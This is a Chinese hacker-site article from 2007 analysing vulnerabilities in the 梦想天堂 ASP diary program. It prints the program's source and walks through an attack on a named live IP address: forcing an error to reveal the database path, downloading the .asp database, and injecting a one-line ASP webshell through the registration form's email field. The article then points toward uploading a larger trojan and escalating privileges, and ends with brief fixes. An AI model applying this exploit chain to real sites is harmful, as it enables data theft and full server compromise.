文章 | 入侵攻击 | 安全防御 | 操作系统 | 网站建设 | 网络编程 | 路由交换 | 灾难恢复 | 新闻资讯 | 安全公告
下载 | 漏洞扫描 | 加密破解 | 入侵攻击 | 后门木马 | 溢出程序 | 综合工具 | 安全防护 | 原创发布 | 动画教程
论坛 | 黑客军火 | 配服务器 | 黑客情感 | 免费资源 | 美女贴图 | 灌水无罪 | 在线服务 | 会员照片 | 网站首页
 当前位置:主页 >> 技术文摘 >> 入侵攻击 >> 文章内容  
 

 
梦想天堂日记本程序漏洞

www.hx99.org 阅读: 时间:2007-10-18 整理:华西黑盟
------------------------------------------------------------------
 

梦想天堂是一款多用户的记事本程序,如下图所示,我们今天要分析的就是这款日记本程序。

我们先来看一下inc文件夹下的数据库连接文件conn.asp,我把它的代码复制到下面:

<%

Dim conn

Dim sqlstr

Dim db

'更改数据库名字

db="data/aqbt.cn.asp"

set conn = Server.CreateObject("ADODB.Connection")

sqlstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")

conn.Open sqlstr

%>

 

<%

dim listnum,reguservalue

listnum=16          '定义每页显示日记数量

reguservalue=1          '这里 1允许新用户注册,0不允许新用户注册

cnt_new=20         '首页显示的新日记数

usernum=13         '首页显示的推荐会员数

 

 

'过滤非法字符

function HTMLEncode(fString)

 

fString = replace(fString, ">", ">")

fString = replace(fString, "<", "<")

fString = Replace(fString, CHR(32), " ")

fString = Replace(fString, CHR(34), """)

fString = Replace(fString, CHR(39), "'")

fString = Replace(fString, CHR(13), "")

fString = Replace(fString, CHR(10) & CHR(10), "</P><P'> ")

fString = Replace(fString, CHR(10), "<BR> ")

 

HTMLEncode = fString

end function

 

%>

coon.asp文件中我们看到程序的数据库连接部分没有进行任何的容错处理,这就意味着存在暴库的可能性。我们直接访问inc/conn.asp 来看看,如下图所示,成功的暴出了数据库的物理路径!(如果你的浏览器返回的是HTTP500错误,请到IE的选项中关闭显示友好的HTTP请求)

 

我们暴出了数据库的路径是 http://221.195.40.85:81/data/aqbt.cn.asp。我们发现数据库也并未做任何的防下载处理。直接上下载软件(我这里用的是Flashget)下载它的数据库。如图所示,成功的下载了它的数据库文件:

 

 

更改后缀名aspmdb。我们再用数据库浏览工具打开数据库看看:

哈哈,一共三个表。所有的日记都可以看到了。我们继续看一下userreg.asp这个用户注册页面。其代码如下:

 

<!--#include file="inc/conn.asp"-->

<%

reguser=reguservalue 'reguser=1:允许新用户注册; reguser=0:不允许新用户注册

if reguser=0  then

response.write "<script>alert('对不起,管理员已经限制新用户注册!');this.location.href='index.asp';</script>"

response.end

end if

%>

 

<!--#include file="top.asp"-->

<%

if Trim(Request.QueryString("ation"))="reg" then

username=replace(Trim(Request.Form("username")),"'","")                  password=replace(Trim(Request.Form("password")),"'","")                  sex=Trim(Request.Form("sex"))

email=Trim(Request.Form("email"))

regip=Trim(Request.Form("regip"))

set rs=server.CreateObject("adodb.recordset")

sql="select * from userlist where username='"&username&"'"             

rs.open sql,conn,1,1

if not (rs.bof and rs.eof) then

Response.Write("<script language=JavaScript>alert('该用户名称已经被注册,请尝试其他名称。')</script>")

else

set rs=server.CreateObject("adodb.recordset")

sql="select * from userlist"

rs.open sql,conn,1,3

rs.addnew

rs("username")=username

rs("password")=password

rs("email")=email

rs("regip")=regip

rs("sex")=sex

rs.update

response.cookies("user")=username

response.cookies("userid")=rs("userid")

rs.close

response.Redirect("userreg.asp?action=ok&username="&username)

end if

end if

%>

 

<script language="JavaScript">

function CheckForm()

{

    if (document.regform.username.value.length == 0) {

              alert("请输入你的呢称.");

              document.regform.username.focus();

              return false;

       }

 

    if (document.regform.password.value.length == 0) {

              alert("请输入你的密码.");

              document.regform.password.focus();

              return false;

       }

 

    if (document.regform.password.value != document.regform.password2.value) {

              alert("两次输入密码不相同.");

              document.regform.password.focus();

              return false;

       }

 

    if (document.regform.email.value.length == 0) {

              alert("请输入你的邮箱.");

              document.regform.password.focus();

              return false;

       }

      

       if (document.regform.sex[0].checked == false&&document.regform.sex[1].checked == false&&document.regform.sex[2].checked == false) {

              alert("请选择性别.");

              return false;

       }

 

}

</script>

 

<html>

<head>

<title>[用户注册] - 天堂日记本</title>

<meta name="Robots" content="all">

<meta name="Generator" content="Dreamweaver,ASP">

<meta name="copyright" content="Copyright 2006-2008 - aqbt.cn">

<meta name="Author" content="rayzhang,jbb008@163.com">

<meta name="description" content="天堂多用户日记本,心情日记,记录你每天的酸甜苦乐。">

<meta name="keywords" content="梦想中国,天堂,日记,日记本,多用户,天堂日记本,AQBT.CN。">

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<style type="text/css">

<!--

body,td,th {

       font-size: 12px;

}

body {

       margin-top: 3px;

       margin-bottom: 1px;

}

-->

</style>

<link href="css.css" rel="stylesheet" type="text/css">

</head>

 

<body>

 

<table width="600" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#E1E9FC" class="biao">

  <tr>

    <td>

         <div align="center">

        <%

Path="http://"&request.servervariables("server_name")&replace(request.servervariables("script_name"),"userreg.asp","index.asp")

if request.QueryString("action")="ok" then

username=request.QueryString("username")

okstring="<div align=center><font color=#0099CC>"&username&"</font>,恭喜你!你已经成功注册了<font color=#0099CC>飘易日记本</font>!<br><br>你所申请的日记本地址是:<a href="&path&"?user="&username&">"&Path&"?user="&username&"</a></div>"

okstring=okstring+"<br>你可以通过上面的地址直接访问你的日记本,添加、管理你的日记!"

response.Write(okstring)

else

%>

        

         </div></td>

  </tr>

  <tr>

    <td><div align="center">

      <p><span style="color: #FF6600; font-weight: bold; font-size: 16pt;"><br>

          <span style="color: #003399">用 户 申 请</span></span></p>

      <table width="260" height="150" border="1" align="center" cellpadding="0" cellspacing="0" bgcolor="#99CCFF" class="xi">

        <form language="javascript"  name="regform" method="post" action="userreg.asp?ation=reg" onSubmit="return CheckForm()">

          <tr>

            <td height="18" align="center"><div align="right">昵 称:<br>

                     </div></td>

            <td>

              <input name="username" type="text" class="input2" id="username" size="18" maxlength="12">

              *

            </td>

          </tr>

          <tr>

            <td height="18" align="center"><div align="right">密 码:<br>

            </div></td>

            <td>

                     <input name="password" type="password" class="input2" id="password" size="20" maxlength="12">

              *

            </td>

          </tr>

          <tr>

            <td height="3" align="center"><div align="right">确 认:</div></td>

            <td><input name="password2" type="password" class="input2" id="password2" size="20" maxlength="12">

              *

            </td>

          </tr>

          <tr>

            <td height="3" align="center"><div align="right">邮  箱:</div></td>

            <td><input name="email" type="text" class="input2" id="email" size="19" maxlength="100">

              *</td>

          </tr>

          <tr>

            <td height="3"  align="center"><div align="right">性 别:<br>

                     </div></td>

            <td>

                      男孩

              <input type="radio" name="sex" value="images/Male.gif">

        女孩

        <input type="radio" name="sex" value="images/Female.gif">

        保密

        <input type="radio" name="sex" value="images/unknow.gif">

        <input type="hidden" name="regip" value="<%=request.ServerVariables("REMOTE_ADDR")%>"></td>

          </tr>

          <tr align="center">

            <td height="28" colspan="2">

                <input type="submit" name="Submit" value="注册申请">

  

        <input type="reset" name="Submit2" value="清除重来">            </td>

          </tr>

        </form>

      </table>

      <p> </p>

    </div></td>

  </tr>

</table>

<%end if%>

      

</body>

</html>

<!--#include file="bottom.asp"--> 

 

以上程序,我们发现,只要输入用户名、密码及邮箱地址就能直接注册用户。程序过滤了表单中提交的用户名和密码单引号,简单的判断一下用户名和密码是否重复就直接带到数据库中了。我们知道数据库是asp后缀的,如果我们在用户名和密码处填写一句话木马,不就可以得到一个webshell了吗?当经过试验我们发现这是不可以的,如图:

 

原来作者对注入用户名和密码的表单做了限制,最大长度都为12。不符合一句话木马的最小长度。那是不是说我们无法利用呢?我们再回到源程序中来吧:

 

input name="password" type="password" class="input2" id="password" size="20" maxlength="12">
             *
            </td>
          </tr>
          <tr>
            <td height="3" align="center"><div align="right">确 认:</div></td>
            <td><input name="password2" type="password" class="input2" id="password2" size="20" maxlength="12">
              *
            </td>
          </tr>
          <tr>
            <td height="3" align="center"><div align="right">邮  箱:</div></td>
            <td><input name="email" type="text" class="input2" id="email" size="19" maxlength="100">
 
呵呵,大家看到了,程序对用户名和密码都做了
12个字节的限制,但是对于邮箱输入的长度却是最大100个字符。足够我们插入一句话木马的长度了。

 

好了,我们下面就到主页上注册一个帐号,然后在邮箱地址里输入一句话木马<%execute request("l")%>。提交后提示注册成功,如图

然后我们连接到它的数据库地址http://221.195.40.85:81/data/aqbt.cn.asp,看到已经连接成功了:

之后就是上传我们的大马提权了。

总结:只要是数据库是asp后缀的且数据库连接文件没有做容错处理的站,直接可以拿到Webshell

漏洞的修补:

a)       暴库漏洞:在conn.asp开头加入容错语句“On error resume next”就可以了。但是默认的数据库路径还是要进行修改的。最好还是把数据库加上防下载处理。

b)      邮件地址:可以直接用conn.asp中的函数 HTMLEncode(fString)过滤一下就可以了。

   -------------------------------------------------------------------------------------------
  上一篇:推荐:记一次对在线挂机网站的渗透
  下一篇:浅谈web app二次漏洞
   -------------------------------------------------------------------------------------------
用户名:
Email:
评论内容:
 
  精品推荐
最新网吧免费上网方法
五招查出想要知道的IP地址
让星空极速彻底下岗,破解
QQ技术攻略-原来隐藏着这
网吧漏洞-自己加会员卡,丰
简单网站入侵(适合菜鸟)
恶搞!如何将你的QQ性别改
黑客最起码要懂的16个问题
如何利用QQ邮件发木马
我的黑客技术学习方法,仅
你会用Google?估计你会用
10秒钟让你和任意QQ号聊天
简单进网站后台(适合菜鸟)
只需一行代码就能让IE 6崩
菜鸟入门的八种安全工具
网上电影随意看 破解在线
推荐:挖掘鸡使用教程
Radmin密码破解新招
QQ聊天记录文件解密方式
一招就能搜尽所有QQ隐身好
菜鸟挖漏洞,黑站就是这么
电脑菜鸟必懂 常见木马连
找到肉鸡后如何做个好后门
推荐:3389的密码嗅探
2007.12 免费QQ秀
关于我们 | 发展历程 | 在线投稿 | 核心监督 | 友情链接 | 网站地图 | 网站留言 | 联系我们
Copyright © 2004-2007 Www.Hx99.Net
版本:华西黑盟网站系统V5.0 Email:root#hx99.org
中国·西安·宝鸡 请使用IE6.0版本, 分辩率1024×768进行浏览
版权所有 任意抄袭 注意完整
陕ICP备06000444号